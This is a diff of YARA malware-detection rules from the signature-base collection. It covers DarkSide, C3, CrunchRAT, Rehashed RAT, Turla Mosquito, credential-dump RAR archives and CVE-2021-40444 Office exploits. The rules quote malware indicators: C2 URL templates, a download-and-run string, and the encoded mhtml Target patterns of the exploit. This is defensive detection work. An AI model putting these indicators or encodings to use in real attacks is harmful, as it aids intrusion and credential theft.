-		tags = "SCRIPT"
+		tags = "FILE"
 
 	strings:
-		$sr1 = / \/autodiscover\/autodiscover\.json[^\n]{1,300}owershell/ nocase ascii
-		$sa1 = " 200 "
-		$fp1 = " 444 "
-		$fp2 = " 404 "
-		$fp2b = " 401 "
-		$fp3 = "GET /owa/ &Email=autodiscover/autodiscover.json%3F@test.com&ClientId=" ascii
-		$fp4 = "@test.com/owa/?&Email=autodiscover/autodiscover.json%3F@test.com" ascii
+		$consts = { 80 3D [4] 01 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] 00 00 04 00 [1-10] 00 00 00 00 [1-30] 80 3D [4] 02 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] FF FF FF FF [1-10] FF FF FF FF [1-30] 03 00 00 00 [1-10] 03 00 00 00 }
 
 	condition:
-		$sr1 and 1 of ($sa*) and not 1 of ($fp*)
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and $consts
 }
-rule SIGNATURE_BASE_APT_Malware_Commentcrew_Miniasp : FILE
+rule SIGNATURE_BASE_MAL_Dropper_Win_Darkside_1 : FILE
 {
 	meta:
-		description = "CommentCrew Malware MiniASP APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "a434012d-d13a-5061-a1d8-180d2c5828e8"
-		date = "2015-06-03"
+		description = "Detection for on the binary that was used as the dropper leading to DARKSIDE."
+		author = "FireEye"
+		id = "910a581c-25a4-5d5e-acdc-6d87cbedd3cf"
+		date = "2021-05-11"
 		modified = "2023-12-05"
-		reference = "VT Analysis"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_miniasp.yar#L2-L38"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f382dd802f0332c99b1d33cf1dcd99ba7fad344a381152ebadfb69bc74c4e58f"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_ransom_darkside.yar#L39-L56"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "131b3666ae444e0de043eafdf7cfd3324b927d18d8ad56d5004ea09b2da5610e"
 		score = 75
-		quality = 85
+		quality = 79
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "0af4360a5ae54d789a8814bf7791d5c77136d625"
-		hash1 = "777bf8def279942a25750feffc11d8a36cc0acf9"
-		hash2 = "173f20b126cb57fc8ab04d01ae223071e2345f97"
 
 	strings:
-		$x1 = "\\MiniAsp4\\Release\\MiniAsp.pdb" ascii
-		$x2 = "run http://%s/logo.png setup.exe" fullword ascii
-		$x3 = "d:\\command.txt" fullword ascii
-		$z1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR " ascii
-		$z2 = "Mozilla/4.0 (compatible; MSIE 7.4; Win32;32-bit)" fullword ascii
-		$z3 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC" ascii
-		$s1 = "http://%s/device_command.asp?device_id=%s&cv=%s&command=%s" fullword ascii
-		$s2 = "kill process error!" fullword ascii
-		$s3 = "kill process success!" fullword ascii
-		$s4 = "pickup command error!" fullword ascii
-		$s5 = "http://%s/record.asp?device_t=%s&key=%s&device_id=%s&cv=%s&result=%s" fullword ascii
-		$s6 = "no command" fullword ascii
-		$s7 = "software\\microsoft\\windows\\currentversion\\run" fullword ascii
-		$s8 = "command is null!" fullword ascii
-		$s9 = "pickup command Ok!" fullword ascii
-		$s10 = "http://%s/result_%s.htm" fullword ascii
+		$CommonDLLs1 = "KERNEL32.dll" fullword
+		$CommonDLLs2 = "USER32.dll" fullword
+		$CommonDLLs3 = "ADVAPI32.dll" fullword
+		$CommonDLLs4 = "ole32.dll" fullword
+		$KeyString1 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 57 69 6E 64 6F 77 73 2E 43 6F 6D 6D 6F 6E 2D 43 6F 6E 74 72 6F 6C 73 22 20 76 65 72 73 69 6F 6E 3D 22 36 2E 30 2E 30 2E 30 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 36 35 39 35 62 36 34 31 34 34 63 63 66 31 64 66 22 }
+		$KeyString2 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 56 43 39 30 2E 4D 46 43 22 20 76 65 72 73 69 6F 6E 3D 22 39 2E 30 2E 32 31 30 32 32 2E 38 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 31 66 63 38 62 33 62 39 61 31 65 31 38 65 33 62 22 }
+		$Slashes = { 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C }
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*)) or ( all of ($z*)) or (8 of ($s*))
+		filesize <2MB and filesize >500KB and uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and ( all of ($CommonDLLs*)) and ( all of ($KeyString*)) and $Slashes
 }
-import "pe"
-
-rule SIGNATURE_BASE_Rehashed_RAT_1 : FILE
+rule SIGNATURE_BASE_MAL_Backdoor_Win_C3_1 : FILE
 {
 	meta:
-		description = "Detects malware from Rehashed RAT incident"
-		author = "Florian Roth (Nextron Systems)"
-		id = "24536421-3f8f-58f3-8245-06c519d7a21a"
-		date = "2017-09-08"
+		description = "Detection to identify the Custom Command and Control (C3) binaries."
+		author = "FireEye"
+		id = "60eb022e-6f4e-5c7d-9ddf-b458a593071e"
+		date = "2021-05-11"
 		modified = "2023-12-05"
-		reference = "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_rehashed_rat.yar#L13-L39"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "06a98e87d931bdea697a2cf3de604f03654f9aa2b3f2346e78ba92e492c0fc7c"
+		reference = "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_ransom_darkside.yar#L58-L77"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "7cdac4b82a7573ae825e5edb48f80be5"
+		logic_hash = "369c54b9426edb449004466d30e1010ecefe8cfbea106306eb8eb90b27610dbf"
 		score = 75
-		quality = 85
+		quality = 79
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "37bd97779e854ea2fc43486ddb831a5acfd19cf89f06823c9fd3b20134cb1c35"
 
 	strings:
-		$x1 = "C:\\Users\\hoogle168\\Desktop\\"
-		$x2 = "\\NewCoreCtrl08\\Release\\NewCoreCtrl08.pdb" ascii
-		$s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729" ascii
-		$s2 = "NewCoreCtrl08.dll" fullword ascii
-		$s3 = "GET /%s%s%s%s HTTP/1.1" fullword ascii
-		$s4 = "http://%s:%d/%s%s%s%s" fullword ascii
-		$s5 = "MyTmpFile.Dat" fullword wide
-		$s6 = "root\\%s" fullword wide
+		$dropboxAPI = "Dropbox-API-Arg"
+		$knownDLLs1 = "WINHTTP.dll" fullword
+		$knownDLLs2 = "SHLWAPI.dll" fullword
+		$knownDLLs3 = "NETAPI32.dll" fullword
+		$knownDLLs4 = "ODBC32.dll" fullword
+		$tokenString1 = { 5B 78 5D 20 65 72 72 6F 72 20 73 65 74 74 69 6E 67 20 74 6F 6B 65 6E }
+		$tokenString2 = { 5B 78 5D 20 65 72 72 6F 72 20 63 72 65 61 74 69 6E 67 20 54 6F 6B 65 6E }
+		$tokenString3 = { 5B 78 5D 20 65 72 72 6F 72 20 64 75 70 6C 69 63 61 74 69 6E 67 20 74 6F 6B 65 6E }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <800KB and (pe.imphash()=="893212784d01f11aed9ebb42ad2561fc" or pe.exports("ProcessTrans") or (1 of ($x*) or 4 of them ))) or ( all of them )
+		filesize <5MB and uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550 and ((( all of ($knownDLLs*)) and ($dropboxAPI or (1 of ($tokenString*)))) or ( all of ($tokenString*)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_Rehashed_RAT_2 : FILE
+rule SIGNATURE_BASE_SUSP_RAR_Ntdsdit : FILE
 {
 	meta:
-		description = "Detects malware from Rehashed RAT incident"
+		description = "Detects suspicious RAR file that contains ntds.dit or SAM export"
 		author = "Florian Roth (Nextron Systems)"
-		id = "fcf82155-10da-56b7-879b-841c4ae5023b"
-		date = "2017-09-08"
-		modified = "2023-12-05"
-		reference = "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_rehashed_rat.yar#L41-L67"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "96c4582981792eb5f8180c06a5fe824fd439cfa0ede294eccff3afa7d318a6e9"
-		score = 75
+		id = "da9e160f-3213-5027-bb0f-bf80ab3d5318"
+		date = "2019-12-16"
+		modified = "2022-11-15"
+		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_rar_exfil.yar#L2-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "12e527b040e02f573f2a6e0fac4ff99ec441bf189c9bb7e1f763619c079a5bfa"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "49efab1dedc6fffe5a8f980688a5ebefce1be3d0d180d5dd035f02ce396c9966"
 
 	strings:
-		$x1 = "dalat.dulichovietnam.net" fullword ascii
-		$x2 = "web.Thoitietvietnam.org" fullword ascii
-		$a1 = "User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64)" fullword ascii
-		$a2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3" ascii
-		$s1 = "GET /%s%s%s%s HTTP/1.1" fullword ascii
-		$s2 = "http://%s:%d/%s%s%s%s" fullword ascii
-		$s3 = "{521338B8-3378-58F7-AFB9-E7D35E683BF8}" fullword ascii
+		$x1 = "ntds.dit0" ascii fullword
+		$x2 = { 0? 53 41 4D 30 01 00 03 }
+		$x3 = { 0? 73 61 6D 30 01 00 03 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="9c4c648f4a758cbbfe28c8850d82f931" or (1 of ($x*) or 3 of them ))) or (4 of them )
+		uint32(0)==0x21726152 and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Rehashed_RAT_3 : FILE
+rule SIGNATURE_BASE_Crunchrat : FILE
 {
 	meta:
-		description = "Detects malware from Rehashed RAT incident"
+		description = "Detects CrunchRAT - file CrunchRAT.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "59871be1-295f-54ee-ab4d-4f9e5fdc2935"
-		date = "2017-09-08"
-		modified = "2022-12-21"
-		reference = "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_rehashed_rat.yar#L69-L85"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "46f21f11959f863c85a1cfac74a28ba86d5b9789fea5a428168d157c13cce022"
+		id = "da7d9b5c-6ccc-5960-9daa-4df612545751"
+		date = "2017-11-03"
+		modified = "2023-12-05"
+		reference = "https://github.com/t3ntman/CrunchRAT"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_crunchrat.yar#L2-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e29cfe6dd2ca69b1a8cd0cb36f7513dd9befd392906225196991dc62fcc80870"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "9cebae97a067cd7c2be50d7fd8afe5e9cf935c11914a1ab5ff59e91c1e7e5fc4"
+		hash1 = "58a07e96497745b6fd5075d569f17b0254c3e50b0234744e0487f7c5dddf7161"
 
 	strings:
-		$x1 = "\\BisonNewHNStubDll\\Release\\Goopdate.pdb" ascii
-		$s2 = "psisrndrx.ebd" fullword wide
-		$s3 = "pbad exception" fullword ascii
+		$x1 = "----CrunchRAT" fullword wide
+		$x2 = "\\Debug\\CrunchRAT" ascii
+		$x3 = "\\Release\\CrunchRAT" ascii
+		$s1 = "runCommand" fullword ascii
+		$s2 = "<action>download<action>" fullword wide
+		$s3 = "Content-Disposition: form-data; name=action" fullword wide
+		$s4 = "<action>upload<action>" fullword wide
+		$s5 = "/update.php" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) or 2 of them )
+		uint16(0)==0x5a4d and filesize <40KB and (1 of ($x*) and 3 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Turlamosquito_Mal_1 : FILE
+rule SIGNATURE_BASE_EXPL_CVE_2021_40444_Document_Rels_XML : CVE_2021_40444 FILE
 {
 	meta:
-		description = "Detects malware sample from Turla Mosquito report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1395509a-72f5-56c0-895c-3e9f15829de1"
-		date = "2018-02-22"
+		description = "Detects indicators found in weaponized documents that exploit CVE-2021-40444"
+		author = "Jeremy Brown / @alteredbytes"
+		id = "812bb68e-71ea-5a9a-8d39-ab99fdaa6c58"
+		date = "2021-09-10"
 		modified = "2023-12-05"
-		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla_mosquito.yar#L13-L30"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "22d799531986c30da19943f1dda305e61a305083478549e93c0ecddeade77b39"
+		reference = "https://twitter.com/AlteredBytes/status/1435811407249952772"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_cve_2021_40444.yar#L6-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b05c3b33c3cab2c9109d808ed197758bc987f07beee77e1f61094715e0c1a1e7"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b295032919143f5b6b3c87ad22bcf8b55ecc9244aa9f6f88fc28f36f5aa2925e"
+		tags = "CVE-2021-40444, FILE"
 
 	strings:
-		$s1 = "Pipetp" fullword ascii
-		$s2 = "EStOpnabn" fullword ascii
+		$b1 = "/relationships/oleObject" ascii
+		$b2 = "/relationships/attachedTemplate" ascii
+		$c1 = "Target=\"mhtml:http" nocase
+		$c2 = "!x-usc:http" nocase
+		$c3 = "TargetMode=\"External\"" nocase
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and (pe.imphash()=="169d4237c79549303cca870592278f42" or all of them )
+		uint32(0)==0x6D783F3C and filesize <10KB and 1 of ($b*) and all of ($c*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Turlamosquito_Mal_2 : FILE
+rule SIGNATURE_BASE_EXPL_MAL_Maldoc_OBFUSCT_MHTML_Sep21_1 : CVE_2021_40444 FILE
 {
 	meta:
-		description = "Detects malware sample from Turla Mosquito report"
+		description = "Detects suspicious office reference files including an obfuscated MHTML reference exploiting CVE-2021-40444"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d23d9fe1-26e3-5012-8a88-61ebbc3fbd8f"
-		date = "2018-02-22"
+		id = "781cfd61-d5ac-58e5-868f-dbd2a2df3500"
+		date = "2021-09-18"
 		modified = "2023-12-05"
-		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla_mosquito.yar#L32-L52"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f1f93d3bc1c4bd55fc7558716a0a1eb7a6c4c2381a4532d37f4e3559f7c809ea"
-		score = 75
+		reference = "https://twitter.com/decalage2/status/1438946225190014984?s=20"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_cve_2021_40444.yar#L27-L41"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69"
+		logic_hash = "11a73572970d2d85d308330119a2c5243f2848ae78a861decdb0cdbde0d9d1c2"
+		score = 90
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "68c6e9dea81f082601ae5afc41870cea3f71b22bfc19bcfbc61d84786e481cb4"
-		hash2 = "05254971fe3e1ca448844f8cfcfb2b0de27e48abd45ea2a3df897074a419a3f4"
+		tags = "CVE-2021-40444, FILE"
 
 	strings:
-		$s1 = ".?AVFileNameParseException@ExecuteFile@@" fullword ascii
-		$s3 = "no_address" fullword wide
-		$s6 = "SRRRQP" fullword ascii
-		$s7 = "QWVPQQ" fullword ascii
+		$h1 = "<?xml " ascii wide
+		$s1 = "109;&#104;&#116;&#109;&#108;&#58;&#104;&#116;&#109;&#108" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="cd918073f209c5da7a16b6c125d73746" or all of them )
+		filesize <25KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Turlamosquito_Mal_3 : FILE
+rule SIGNATURE_BASE_EXPL_XML_Encoded_CVE_2021_40444 : CVE_2021_40444 FILE
 {
 	meta:
-		description = "Detects malware sample from Turla Mosquito report"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c83e0a93-3f8d-572d-ac1a-92fef0b3d3f6"
-		date = "2018-02-22"
-		modified = "2023-12-05"
-		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla_mosquito.yar#L54-L77"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0f59c130b500625466da0c8b5bfd84051ee59a3b6261ee3d990d4c355b10672b"
-		score = 75
+		description = "Detects possible CVE-2021-40444 with no encoding, HTML/XML entity (and hex notation) encoding, or all 3"
+		author = "James E.C, Proofpoint"
+		id = "4bf9ec64-c662-5c8f-9e58-12a7412ef07d"
+		date = "2021-09-18"
+		modified = "2021-09-19"
+		reference = "https://twitter.com/sudosev/status/1439205606129377282"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_cve_2021_40444.yar#L44-L61"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "13de9f39b1ad232e704b5e0b5051800fcd844e9f661185ace8287a23e9b3868e"
+		hash = "84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69"
+		logic_hash = "feaeadd8e7e262f191ea0c2f85377531208262e5ac19d6706703e62cf8b4ec90"
+		score = 70
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "443cd03b37fca8a5df1bbaa6320649b441ca50d1c1fcc4f5a7b94b95040c73d1"
+		tags = "CVE-2021-40444, FILE"
 
 	strings:
-		$x1 = "InstructionerDLL.dll" fullword ascii
-		$s1 = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36" fullword wide
-		$s2 = "/scripts/m/query.php?id=" fullword wide
-		$s3 = "SELECT * FROM AntiVirusProduct" fullword ascii
-		$s4 = "Microsoft Update" fullword wide
+		$h1 = "<?xml " ascii wide
+		$t_xml_r = /Target[\s]{0,20}=[\s]{0,20}\["']([Mm]|&#(109|77|x6d|x4d);)([Hh]|&#(104|72|x68|x48);)([Tt]|&#(116|84|x74|x54);)([Mm]|&#(109|77|x6d|x4d);)([Ll]|&#(108|76|x6c|x4c);)(:|&#58;|&#x3a)/
+		$t_mode_r = /TargetMode[\s]{0,20}=[\s]{0,20}\["']([Ee]|&#(x45|x65|69|101);)([Xx]|&#(x58|x78|88|120);)([Tt]|&#(x74|x54|84|116);)/
 
 	condition:
-		uint16(0)==0x5a4d and filesize <400KB and (pe.imphash()=="88488fe0b8bcd6e379dea6433bb5d7d8" or (pe.exports("InstallRoutineW") and pe.exports("StartRoutine")) or $x1 or 3 of them )
+		filesize <500KB and $h1 and all of ($t_*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Turlamosquito_Mal_4 : FILE
+rule SIGNATURE_BASE_SUSP_OBFUSC_Indiators_XML_Officedoc_Sep21_1 : WINDOWS CVE FILE
 {
 	meta:
-		description = "Detects malware sample from Turla Mosquito report"
+		description = "Detects suspicious encodings in fields used in reference files found in weaponized MS Office documents"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1d5c32b3-0316-525c-9386-222917144251"
-		date = "2018-02-22"
+		id = "ffcaf270-f574-5692-90e5-6776c34eb71b"
+		date = "2021-09-18"
 		modified = "2023-12-05"
-		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla_mosquito.yar#L79-L90"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4765b912258491f38c03513204d9af8bc62c37df2fe583e371cbbeff6fc12298"
-		score = 75
+		reference = "https://twitter.com/sudosev/status/1439205606129377282"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_cve_2021_40444.yar#L64-L81"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "13de9f39b1ad232e704b5e0b5051800fcd844e9f661185ace8287a23e9b3868e"
+		hash = "84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69"
+		logic_hash = "fc8f0dd02460ab8f8cc6717c66eba51e6ed74881a48e92fd0bf978467dfb40e3"
+		score = 65
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b362b235539b762734a1833c7e6c366c1b46474f05dc17b3a631b3bff95a5eec"
+		tags = "WINDOWS, CVE, FILE"
+
+	strings:
+		$h1 = "<?xml " ascii wide
+		$xml_e = "Target=\"&#" ascii wide
+		$xml_mode_1 = "TargetMode=\"&#" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <800KB and pe.imphash()=="17b328245e2874a76c2f46f9a92c3bad"
+		filesize <500KB and $h1 and 1 of ($xml*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_Turlamosquito_Mal_5 : FILE
+rule SIGNATURE_BASE_SUSP_OBFUSC_Indiators_XML_Officedoc_Sep21_2 : WINDOWS CVE FILE
 {
 	meta:
-		description = "Detects malware sample from Turla Mosquito report"
+		description = "Detects suspicious encodings in fields used in reference files found in weaponized MS Office documents"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9f3a35c9-b0f0-5ca6-8b34-19e2d45305f2"
-		date = "2018-02-22"
+		id = "c3c5ec4f-5d2a-523c-bd4b-b75c04bac87d"
+		date = "2021-09-18"
 		modified = "2023-12-05"
-		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla_mosquito.yar#L92-L103"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5b0366194410f36c47dd41f6a36c45edbce75e3ddad19520b17bed59513e1dbc"
-		score = 75
+		reference = "https://twitter.com/sudosev/status/1439205606129377282"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_cve_2021_40444.yar#L83-L98"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "82c70e0f0b72a57302e5853cc53ae18dbb0bc8dabdfd27b473a7664b2fc5e874"
+		score = 65
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "26a1a42bc74e14887616f9d6048c17b1b4231466716a6426e7162426e1a08030"
+		tags = "WINDOWS, CVE, FILE"
+
+	strings:
+		$h1 = "<?xml " ascii wide
+		$a1 = "Target" ascii wide
+		$a2 = "TargetMode" ascii wide
+		$xml_e = "&#x0000" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and pe.imphash()=="ac40cf7479f53a4754ac6481a4f24e57"
+		filesize <500KB and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Turlamosquito_Mal_6 : FILE
+rule SIGNATURE_BASE_MAL_Burningumbrella_Sample_1 : FILE
 {
 	meta:
-		description = "Detects malware sample from Turla Mosquito report"
+		description = "Detects malware sample from Burning Umbrella report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1c320b60-ec7a-5f87-b871-f55924351f8f"
-		date = "2018-02-22"
+		id = "9f8a6831-172b-5310-9763-43657b79b91d"
+		date = "2018-05-04"
 		modified = "2023-12-05"
-		reference = "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_turla_mosquito.yar#L105-L127"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9ca6ae4313ad8f009b17188aa7184ff01a4b7e35926f3f68dc3aea12bffb9bb1"
+		reference = "https://401trg.pw/burning-umbrella/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_winnti_burning_umbrella.yar#L13-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d8ed432fea930eb9b4d695a4a68b833f4324fe0bbea3f0ccac2fe5934bfa1c22"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b79cdf929d4a340bdd5f29b3aeccd3c65e39540d4529b64e50ebeacd9cdee5e9"
+		hash1 = "fcfe8fcf054bd8b19226d592617425e320e4a5bb4798807d6f067c39dfc6d1ff"
